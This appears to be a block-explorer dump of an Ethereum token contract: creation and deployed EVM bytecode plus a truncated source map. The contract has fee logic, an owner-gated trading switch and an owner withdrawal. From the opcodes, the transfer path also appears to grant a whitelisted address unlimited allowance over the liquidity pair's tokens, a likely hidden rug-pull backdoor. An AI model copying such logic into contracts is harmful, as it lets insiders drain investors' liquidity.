61057f576010546011541161133357600a54611337565b600d545b6113426064856118b4565b61134c91906117c3565b6007549091506001600160a01b03858116911614801561137557506001600160a01b0385163014155b1561057f57600060125460135461138c91906117da565b601255600e5460115411156113a45750600c546113be565b600f5460115411156113b95750600b546113be565b506009545b806113ca6064866118b4565b6113d491906117c3565b9695505050505050565b306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156106e857306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020600019905550565b611453816113de565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611488576114886118d6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115059190611824565b81600181518110611518576115186118d6565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac9479061155e9085906000908690309042906004016118ec565b600060405180830381600087803b15801561157857600080fd5b505af115801561158c573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156115c1578581018301518582016040015282016115a5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106e857600080fd5b6000806040838503121561160a57600080fd5b8235611615816115e2565b946020939093013593505050565b60008060006060848603121561163857600080fd5b8335611643816115e2565b92506020840135611653816115e2565b929592945050506040919091013590565b60006020828403121561167657600080fd5b8135610582816115e2565b6000806040838503121561169457600080fd5b823561169f816115e2565b915060208301356116af816115e2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561170b5781600019048211156116f1576116f16116ba565b808516156116fe57918102915b93841c93908002906116d5565b509250929050565b6000826117225750600161047e565b8161172f5750600061047e565b8160018114611745576002811461174f5761176b565b600191505061047e565b60ff841115611760576117606116ba565b50506001821b61047e565b5060208310610133831016604e8410600b841016171561178e575081810a61047e565b61179883836116d0565b80600019048211156117ac576117ac6116ba565b029392505050565b600061058260ff841683611713565b808202811582820484141761047e5761047e6116ba565b8181038181111561047e5761047e6116ba565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60006020828403121561183657600080fd5b8151610582816115e2565b60006020828403121561185357600080fd5b5051919050565b8082018082111561047e5761047e6116ba565b60006001820161187f5761187f6116ba565b5060010190565b60008060006060848603121561189b57600080fd5b8351925060208401519150604084015190509250925092565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122037e214bfd603cf68e4a34d75925ff076e97383b10881c393773eee3849687d6964736f6c63430008120033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x6080604052600436106101395760003560e01c806389f9a1d3116100ab578063a0ef91df1161006f578063a0ef91df1461035d578063a9059cbb14610372578063c876d0b914610392578063d19b62e5146103b3578063dd62ed3e146103c9578063e8078d941461040f57600080fd5b806389f9a1d3146102c85780638a8c523c146102de5780638da5cb5b146102f357806395d89b411461031b578063971621571461034757600080fd5b8063313ce567116100fd578063313ce5671461021357806370a082311461022f578063715018a614610265578063751039fc1461027c57806381a734ea14610291578063860a32ec146102a757600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101dd57806327b1a8e9146101fd57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692d25aa3930b232a43ab160b11b60208201525b6040516101819190611594565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046115f7565b610417565b6040519015158152602001610181565b3480156101c657600080fd5b506101cf610484565b604051908152602001610181565b3480156101e957600080fd5b506101aa6101f8366004611623565b6104a5565b34801561020957600080fd5b506101cf60115481565b34801561021f57600080fd5b5060405160128152602001610181565b34801561023b57600080fd5b506101cf61024a366004611664565b6001600160a01b031660009081526004602052604090205490565b34801561027157600080fd5b5061027a610589565b005b34801561028857600080fd5b5061027a6105f8565b34801561029d57600080fd5b506101cf60105481565b3480156102b357600080fd5b506014546101aa90600160a01b900460ff1681565b3480156102d457600080fd5b506101cf60155481565b3480156102ea57600080fd5b5061027a610632565b3480156102ff57600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561032757600080fd5b506040805180820190915260038152621692d560ea1b6020820152610174565b34801561035357600080fd5b506101cf600f5481565b34801561036957600080fd5b5061027a610671565b34801561037e57600080fd5b506101aa61038d3660046115f7565b6106eb565b34801561039e57600080fd5b506014546101aa90600160a81b900460ff1681565b3480156103bf57600080fd5b506101cf600e5481565b3480156103d557600080fd5b506101cf6103e4366004611681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61027a610740565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104729086815260200190565b60405180910390a35060015b92915050565b60006104926012600a6117b4565b6104a090633b9aca006117c3565b905090565b60006104b084610a99565b6104f45760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610574576001600160a01b038416600090815260036020908152604080832033845290915290205461054f9083906117da565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b61057f848484610ae2565b90505b9392505050565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016104eb906117ed565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106225760405162461bcd60e51b81526004016104eb906117ed565b6014805461ffff60a01b19169055565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a01b1916600160a01b179055565b6014546001600160a01b0316331461068857600080fd5b6014546040516000916001600160a01b03169047908381818185875af1925050503d80600081146106d5576040519150601f19603f3d011682016040523d82523d6000602084013e6106da565b606091505b50509050806106e857600080fd5b50565b60006106f633610a99565b6107355760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016104eb565b610582338484610ae2565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a81b1916600160a81b1790556007546001600160a01b0316156107c25760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104eb565b600854600160a01b900460ff161561080e5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104eb565b600034118061081d5750600047115b6108695760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104eb565b306000908152600460205260409020546108bd5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104eb565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190611824565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611824565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611824565b600780546001600160a01b0319166001600160a01b039290921691909117905530600090815260046020526040902054610a659047610f5d565b6007546001600160a01b03166000908152600260205260409020805460ff191660011790556008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1615610ab85750600161047e565b6001600160a01b03831660009081526006602052604090205460ff161561047e5750600192915050565b600854600090600160a01b900460ff16610b53576001600160a01b03841660009081526006602052604090205460ff16610b535760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81b9bdd081bdc195b995960721b60448201526064016104eb565b6001600160a01b03841660009081526002602052604090205460ff168015610b9357506001600160a01b03831660009081526006602052604090205460ff165b15610bac57610ba3848484611005565b610bac57600080fd5b6001600160a01b038416610c025760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104eb565b6001600160a01b03841660009081526006602052604090205460ff1680610c4157506001600160a01b03831660009081526006602052604090205460ff165b15610c5857610c5184848461107f565b9050610582565b6001546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190611841565b601255600854600160a81b900460ff16158015610cf957506001600160a01b03831660009081526002602052604090205460ff165b8015610d09575060135460115410155b15610d1657610d16611134565b601454600160a01b900460ff168015610d3c57506007546001600160a01b038581169116145b15610d795760155482610d64856001600160a01b031660009081526004602052604090205490565b610d6e919061185a565b1115610d7957600080fd5b601454600160a81b900460ff1615610e48576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610dc657506007546001600160a01b03848116911614155b15610e4857326000908152600560205260409020544311610e355760405162461bcd60e51b815260206004820152602360248201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152621dd95960ea1b60648201526084016104eb565b3260009081526005602052604090204390555b6000610e5585858561127b565b90506000610e6382856117da565b6001600160a01b038716600090815260046020526040812080549293508692909190610e909084906117da565b90915550508115610ec0573060009081526004602052604081208054849290610eba90849061185a565b90915550505b60118054906000610ed08361186d565b90915550506001600160a01b03851660009081526004602052604081208054839290610efd90849061185a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610f4991815260200190565b60405180910390a350600195945050505050565b610f66826113de565b6008546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610fd9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ffe9190611886565b5050505050565b6001600160a01b038084166000908152600360209081526040808320938616835292905290812054821115611075576110406012600a6117b4565b61104e90633b9aca006117c3565b6001600160a01b038086166000908152600360209081526040808320938816835292905220555b5060019392505050565b6001600160a01b0383166000908152600460205260408120805483919083906110a99084906117da565b90915550506001600160a01b038316600090815260046020526040812080548492906110d690849061185a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161112291815260200190565b60405180910390a35060019392505050565b6008805460ff60a81b1916600160a81b179055306000908152600460205260408120549050621e84806111696012600a6117b4565b61117790633b9aca006117c3565b61118191906118b4565b81101580156111995750600854600160a01b900460ff165b1561126b576101f46111ad6012600a6117b4565b6111bb90633b9aca006117c3565b6111c591906118b4565b81106111f5576101f46111da6012600a6117b4565b6111e890633b9aca006117c3565b6111f291906118b4565b90505b6111fe8161144a565b478015611269576014546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611252576040519150601f19603f3d011682016040523d82523d6000602084013e611257565b606091505b5050809150508061126757600080fd5b505b505b506008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1680156112b257506001600160a01b03851660009081526006602052604090205460ff16155b80156112d757506001600160a01b03841660009081526006602052604090205460ff16155b1561057f576001600160a01b03851660009081526002602052604090205460ff168061131b57506001600160a01b03841660009081526002602052604090205460ff165b1561057f576010546011541161133357600a54611337565b600d545b6113426064856118b4565b61134c91906117c3565b6007549091506001600160a01b03858116911614801561137557506001600160a01b0385163014155b1561057f57600060125460135461138c91906117da565b601255600e5460115411156113a45750600c546113be565b600f5460115411156113b95750600b546113be565b506009545b806113ca6064866118b4565b6113d491906117c3565b9695505050505050565b306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020548111156106e857306000908152600360209081526040808320737a250d5630b4cf539739df2c5dacb4c659f2488d84529091529020600019905550565b611453816113de565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611488576114886118d6565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156114e1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115059190611824565b81600181518110611518576115186118d6565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac9479061155e9085906000908690309042906004016118ec565b600060405180830381600087803b15801561157857600080fd5b505af115801561158c573d6000803e3d6000fd5b505050505050565b600060208083528351808285015260005b818110156115c1578581018301518582016040015282016115a5565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106e857600080fd5b6000806040838503121561160a57600080fd5b8235611615816115e2565b946020939093013593505050565b60008060006060848603121561163857600080fd5b8335611643816115e2565b92506020840135611653816115e2565b929592945050506040919091013590565b60006020828403121561167657600080fd5b8135610582816115e2565b6000806040838503121561169457600080fd5b823561169f816115e2565b915060208301356116af816115e2565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561170b5781600019048211156116f1576116f16116ba565b808516156116fe57918102915b93841c93908002906116d5565b509250929050565b6000826117225750600161047e565b8161172f5750600061047e565b8160018114611745576002811461174f5761176b565b600191505061047e565b60ff841115611760576117606116ba565b50506001821b61047e565b5060208310610133831016604e8410600b841016171561178e575081810a61047e565b61179883836116d0565b80600019048211156117ac576117ac6116ba565b029392505050565b600061058260ff841683611713565b808202811582820484141761047e5761047e6116ba565b8181038181111561047e5761047e6116ba565b60208082526018908201527f4f6e6c79206f776e65722063616e2063616c6c20746869730000000000000000604082015260600190565b60006020828403121561183657600080fd5b8151610582816115e2565b60006020828403121561185357600080fd5b5051919050565b8082018082111561047e5761047e6116ba565b60006001820161187f5761187f6116ba565b5060010190565b60008060006060848603121561189b57600080fd5b8351925060208401519150604084015190509250925092565b6000826118d157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561193c5784516001600160a01b031683529383019391830191600101611917565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122037e214bfd603cf68e4a34d75925ff076e97383b10881c393773eee3849687d6964736f6c63430008120033

Deployed Bytecode Sourcemap

2305:10259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12278:80;;;;;;;;;;-1:-1:-1;12350:5:0;;;;;;;;;;;;-1:-1:-1;;;12350:5:0;;;;12278:80;;;;;;;:::i;:::-;;;;;;;;10161:216;;;;;;;;;;-1:-1:-1;10161:216:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;10161:216:0;1023:187:1;11268:83:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;11268:83:0;1215:177:1;10385:406:0;;;;;;;;;;-1:-1:-1;10385:406:0;;;;;:::i;:::-;;:::i;3453:28::-;;;;;;;;;;;;;;;;11960:80;;;;;;;;;;-1:-1:-1;11960:80:0;;3648:2;2000:36:1;;1988:2;1973:18;11960:80:0;1858:184:1;11155:105:0;;;;;;;;;;-1:-1:-1;11155:105:0;;;;;:::i;:::-;-1:-1:-1;;;;;11239:18:0;11221:7;11239:18;;;:9;:18;;;;;;;11155:105;2115:134;;;;;;;;;;;;;:::i;:::-;;10799:116;;;;;;;;;;;;;:::i;3409:35::-;;;;;;;;;;;;;;;;3854:26;;;;;;;;;;-1:-1:-1;3854:26:0;;;;-1:-1:-1;;;3854:26:0;;;;;;3934:62;;;;;;;;;;;;;;;;10923:85;;;;;;;;;;;;;:::i;1952:65::-;;;;;;;;;;-1:-1:-1;1990:7:0;2008:6;1952:65;;-1:-1:-1;;;;;2008:6:0;;;2445:51:1;;2433:2;2418:18;1952:65:0;2299:203:1;12085:84:0;;;;;;;;;;-1:-1:-1;12159:7:0;;;;;;;;;;;;-1:-1:-1;;;12159:7:0;;;;12085:84;;3366:36;;;;;;;;;;;;;;;;12366:195;;;;;;;;;;;;;:::i;9928:225::-;;;;;;;;;;-1:-1:-1;9928:225:0;;;;;:::i;:::-;;:::i;3887:40::-;;;;;;;;;;-1:-1:-1;3887:40:0;;;;-1:-1:-1;;;3887:40:0;;;;;;3318:41;;;;;;;;;;;;;;;;11016:131;;;;;;;;;;-1:-1:-1;11016:131:0;;;;;:::i;:::-;-1:-1:-1;;;;;11117:18:0;;;11099:7;11117:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11016:131;11359:593;;;:::i;10161:216::-;10265:10;10236:4;10253:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;10253:32:0;;;;;;;;;;:41;;;10310:37;10236:4;;10253:32;;10310:37;;;;10288:6;1361:25:1;;1349:2;1334:18;;1215:177;10310:37:0;;;;;;;;-1:-1:-1;10365:4:0;10161:216;;;;;:::o;11268:83::-;11323:7;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;;:13;:31;:::i;:::-;11334:14;;11268:83;:::o;10385:406::-;10485:4;10510:25;10528:6;10510:17;:25::i;:::-;10502:54;;;;-1:-1:-1;;;10502:54:0;;4790:2:1;10502:54:0;;;4772:21:1;4829:2;4809:18;;;4802:30;-1:-1:-1;;;4848:18:1;;;4841:46;4904:18;;10502:54:0;;;;;;;;;-1:-1:-1;;;;;10571:19:0;;;;;;:11;:19;;;;;;;;10591:10;10571:31;;;;;;;;-1:-1:-1;;10571:52:0;10567:159;;-1:-1:-1;;;;;10674:19:0;;;;;;:11;:19;;;;;;;;10694:10;10674:31;;;;;;;;:40;;10708:6;;10674:40;:::i;:::-;-1:-1:-1;;;;;10640:19:0;;;;;;:11;:19;;;;;;;;10660:10;10640:31;;;;;;;:74;10567:159;10743:40;10757:6;10765:9;10776:6;10743:13;:40::i;:::-;10736:47;;10385:406;;;;;;:::o;2115:134::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;2191:1:::1;2174:19:::0;;-1:-1:-1;;;;;;2174:19:0::1;::::0;;2209:32:::1;::::0;2445:51:1;;;2209:32:0::1;::::0;2433:2:1;2418:18;2209:32:0::1;;;;;;;2115:134::o:0;10799:116::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;10853:20:::1;:28:::0;;-1:-1:-1;;;;10892:15:0;;;10799:116::o;10923:85::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;10978:15:::1;:22:::0;;-1:-1:-1;;;;10978:22:0::1;-1:-1:-1::0;;;10978:22:0::1;::::0;;10923:85::o;12366:195::-;12431:11;;-1:-1:-1;;;;;12431:11:0;12417:10;:25;12409:34;;;;;;12478:11;;12470:59;;12455:9;;-1:-1:-1;;;;;12478:11:0;;12503:21;;12455:9;12470:59;12455:9;12470:59;12503:21;12478:11;12470:59;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12454:75;;;12548:4;12540:13;;;;;;12398:163;12366:195::o;9928:225::-;10008:4;10033:29;10051:10;10033:17;:29::i;:::-;10025:58;;;;-1:-1:-1;;;10025:58:0;;4790:2:1;10025:58:0;;;4772:21:1;4829:2;4809:18;;;4802:30;-1:-1:-1;;;4848:18:1;;;4841:46;4904:18;;10025:58:0;4588:340:1;10025:58:0;10101:44;10115:10;10127:9;10138:6;10101:13;:44::i;11359:593::-;2068:6;;-1:-1:-1;;;;;2068:6:0;2054:10;:20;2046:57;;;;-1:-1:-1;;;2046:57:0;;;;;;;:::i;:::-;12210:7:::1;:14:::0;;-1:-1:-1;;;;12210:14:0::1;-1:-1:-1::0;;;12210:14:0::1;::::0;;11441::::2;::::0;-1:-1:-1;;;;;11441:14:0::2;:28:::0;11433:50:::2;;;::::0;-1:-1:-1;;;11433:50:0;;5831:2:1;11433:50:0::2;::::0;::::2;5813:21:1::0;5870:1;5850:18;;;5843:29;-1:-1:-1;;;5888:18:1;;;5881:39;5937:18;;11433:50:0::2;5629:332:1::0;11433:50:0::2;11503:15;::::0;-1:-1:-1;;;11503:15:0;::::2;;;11502:16;11494:44;;;::::0;-1:-1:-1;;;11494:44:0;;6168:2:1;11494:44:0::2;::::0;::::2;6150:21:1::0;6207:2;6187:18;;;6180:30;-1:-1:-1;;;6226:18:1;;;6219:45;6281:18;;11494:44:0::2;5966:339:1::0;11494:44:0::2;11569:1;11557:9;:13;:42;;;;11598:1;11574:21;:25;11557:42;11549:84;;;::::0;-1:-1:-1;;;11549:84:0;;6512:2:1;11549:84:0::2;::::0;::::2;6494:21:1::0;6551:2;6531:18;;;6524:30;6590:31;6570:18;;;6563:59;6639:18;;11549:84:0::2;6310:353:1::0;11549:84:0::2;11670:4;11679:1;11652:24:::0;;;:9:::2;:24;::::0;;;;;11644:62:::2;;;::::0;-1:-1:-1;;;11644:62:0;;6870:2:1;11644:62:0::2;::::0;::::2;6852:21:1::0;6909:2;6889:18;;;6882:30;-1:-1:-1;;;6928:18:1;;;6921:51;6989:18;;11644:62:0::2;6668:345:1::0;11644:62:0::2;11754:16;;;;;;;;;-1:-1:-1::0;;;;;11754:16:0::2;-1:-1:-1::0;;;;;11754:24:0::2;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11736:56:0::2;;11801:4;11808:16;;;;;;;;;-1:-1:-1::0;;;;;11808:16:0::2;-1:-1:-1::0;;;;;11808:21:0::2;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11736:96;::::0;-1:-1:-1;;;;;;11736:96:0::2;::::0;;;;;;-1:-1:-1;;;;;7504:15:1;;;11736:96:0::2;::::0;::::2;7486:34:1::0;7556:15;;7536:18;;;7529:43;7421:18;;11736:96:0::2;;;;;;;;;;;;;;;;;;::::0;::::2;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11719:14;:113:::0;;-1:-1:-1;;;;;;11719:113:0::2;-1:-1:-1::0;;;;;11719:113:0;;;::::2;::::0;;;::::2;::::0;;11875:4:::2;-1:-1:-1::0;11857:24:0;;;:9:::2;:24;::::0;;;;;11843:62:::2;::::0;11883:21:::2;11843:13;:62::i;:::-;11922:14;::::0;-1:-1:-1;;;;;11922:14:0::2;11916:21;::::0;;;:5:::2;:21;::::0;;;;:28;;-1:-1:-1;;11916:28:0::2;11940:4;11916:28;::::0;;12247:7:::1;:15:::0;;-1:-1:-1;;;;12247:15:0::1;::::0;;11359:593::o;8892:252::-;9010:15;;8957:4;;;;-1:-1:-1;;;9010:15:0;;;;9006:105;;;-1:-1:-1;9038:4:0;9006:105;;;-1:-1:-1;;;;;9064:27:0;;;;;;:19;:27;;;;;;;;9060:51;;;-1:-1:-1;9104:4:0;9130:6;8892:252;-1:-1:-1;;8892:252:0:o;4594:1795::-;4708:15;;4686:4;;-1:-1:-1;;;4708:15:0;;;;4703:85;;-1:-1:-1;;;;;4735:27:0;;;;;;:19;:27;;;;;;;;4727:58;;;;-1:-1:-1;;;4727:58:0;;7785:2:1;4727:58:0;;;7767:21:1;7824:2;7804:18;;;7797:30;-1:-1:-1;;;7843:18:1;;;7836:48;7901:18;;4727:58:0;7583:342:1;4727:58:0;-1:-1:-1;;;;;4802:13:0;;;;;;:5;:13;;;;;;;;:47;;;;-1:-1:-1;;;;;;4819:30:0;;;;;;:19;:30;;;;;;;;4802:47;4798:106;;;4861:39;4874:6;4882:9;4893:6;4861:12;:39::i;:::-;4853:48;;;;;;-1:-1:-1;;;;;4922:20:0;;4914:62;;;;-1:-1:-1;;;4914:62:0;;8132:2:1;4914:62:0;;;8114:21:1;8171:2;8151:18;;;8144:30;8210:31;8190:18;;;8183:59;8259:18;;4914:62:0;7930:353:1;4914:62:0;-1:-1:-1;;;;;5015:27:0;;;;;;:19;:27;;;;;;;;;:74;;-1:-1:-1;;;;;;5059:30:0;;;;;;:19;:30;;;;;;;;5015:74;4997:182;;;5123:44;5141:6;5149:9;5160:6;5123:17;:44::i;:::-;5116:51;;;;4997:182;5220:8;;5205:24;;-1:-1:-1;;;5205:24:0;;-1:-1:-1;;;;;5220:8:0;;;5205:24;;;2445:51:1;5205:4:0;;:14;;2418:18:1;;5205:24:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5189:13;:40;5269:7;;-1:-1:-1;;;5269:7:0;;;;5268:8;:41;;;;-1:-1:-1;;;;;;5293:16:0;;;;;;:5;:16;;;;;;;;5268:41;:89;;;;;5339:18;;5326:9;;:31;;5268:89;5250:144;;;5371:20;:18;:20::i;:::-;5424:7;;-1:-1:-1;;;5424:7:0;;;;:48;;;;-1:-1:-1;5458:14:0;;-1:-1:-1;;;;;5448:24:0;;;5458:14;;5448:24;5424:48;5406:163;;;5540:16;;5530:6;5507:20;5517:9;-1:-1:-1;;;;;11239:18:0;11221:7;11239:18;;;:9;:18;;;;;;;11155:105;5507:20;:29;;;;:::i;:::-;:49;;5499:58;;;;;;5585:20;;-1:-1:-1;;;5585:20:0;;;;5581:384;;;-1:-1:-1;;;;;5644:36:0;;2883:42;5644:36;;;;:84;;-1:-1:-1;5714:14:0;;-1:-1:-1;;;;;5701:27:0;;;5714:14;;5701:27;;5644:84;5622:332;;;5800:9;5771:39;;;;:28;:39;;;;;;5813:12;-1:-1:-1;5763:102:0;;;;-1:-1:-1;;;5763:102:0;;9025:2:1;5763:102:0;;;9007:21:1;9064:2;9044:18;;;9037:30;9103:34;9083:18;;;9076:62;-1:-1:-1;;;9154:18:1;;;9147:33;9197:19;;5763:102:0;8823:399:1;5763:102:0;5913:9;5884:39;;;;:28;:39;;;;;5926:12;5884:54;;5622:332;5977:18;5998:40;6012:6;6020:9;6031:6;5998:13;:40::i;:::-;5977:61;-1:-1:-1;6049:23:0;6075:19;5977:61;6075:6;:19;:::i;:::-;-1:-1:-1;;;;;6105:17:0;;;;;;:9;:17;;;;;:27;;6049:45;;-1:-1:-1;6126:6:0;;6105:17;;;:27;;6126:6;;6105:27;:::i;:::-;;;;-1:-1:-1;;6149:14:0;;6145:86;;6198:4;6180:24;;;;:9;:24;;;;;:38;;6208:10;;6180:24;:38;;6208:10;;6180:38;:::i;:::-;;;;-1:-1:-1;;6145:86:0;6243:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;;;;;;6265:20:0;;;;;;:9;:20;;;;;:39;;6289:15;;6265:20;:39;;6289:15;;6265:39;:::i;:::-;;;;;;;;6339:9;-1:-1:-1;;;;;6322:35:0;6331:6;-1:-1:-1;;;;;6322:35:0;;6350:6;6322:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;6322:35:0;;;;;;;;-1:-1:-1;6377:4:0;;4594:1795;-1:-1:-1;;;;;4594:1795:0:o;9152:250::-;9240:26;9253:12;9240;:26::i;:::-;9277:16;;;9369:6;;9277:117;;-1:-1:-1;;;9277:117:0;;9342:4;9277:117;;;9708:34:1;9758:18;;;9751:34;;;9801:18;;;9794:34;;;9844:18;;;9837:34;;;;-1:-1:-1;;;;;9369:6:0;;;9887:19:1;;;9880:44;9377:15:0;9940:19:1;;;9933:35;9277:16:0;;;;:32;;9317:13;;9642:19:1;;9277:117:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;9152:250;;:::o;9410:240::-;-1:-1:-1;;;;;9519:18:0;;;9498:4;9519:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;:36;-1:-1:-1;9515:106:0;;;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;;:13;:31;:::i;:::-;-1:-1:-1;;;;;9572:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;:37;9515:106;-1:-1:-1;9638:4:0;9410:240;;;;;:::o;9658:262::-;-1:-1:-1;;;;;9771:17:0;;9754:4;9771:17;;;:9;:17;;;;;:27;;9792:6;;9771:17;9754:4;;9771:27;;9792:6;;9771:27;:::i;:::-;;;;-1:-1:-1;;;;;;;9809:20:0;;;;;;:9;:20;;;;;:30;;9833:6;;9809:20;:30;;9833:6;;9809:30;:::i;:::-;;;;;;;;9872:9;-1:-1:-1;;;;;9855:35:0;9864:6;-1:-1:-1;;;;;9855:35:0;;9883:6;9855:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;9855:35:0;;;;;;;;-1:-1:-1;9908:4:0;9658:262;;;;;:::o;7006:631::-;12210:7;:14;;-1:-1:-1;;;;12210:14:0;-1:-1:-1;;;12210:14:0;;;7115:4:::1;-1:-1:-1::0;11239:18:0;;;:9;:18;;;;;;7067:54;-1:-1:-1;3779:7:0::1;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;::::0;:13:::1;:31;:::i;:::-;3769:17;;;;:::i;:::-;7138:19;:34;;:53;;;;-1:-1:-1::0;7176:15:0::1;::::0;-1:-1:-1;;;7176:15:0;::::1;;;7138:53;7134:496;;;3842:3;3709:13;3648:2;3709;:13;:::i;:::-;3692:31;::::0;:13:::1;:31;:::i;:::-;3832:13;;;;:::i;:::-;72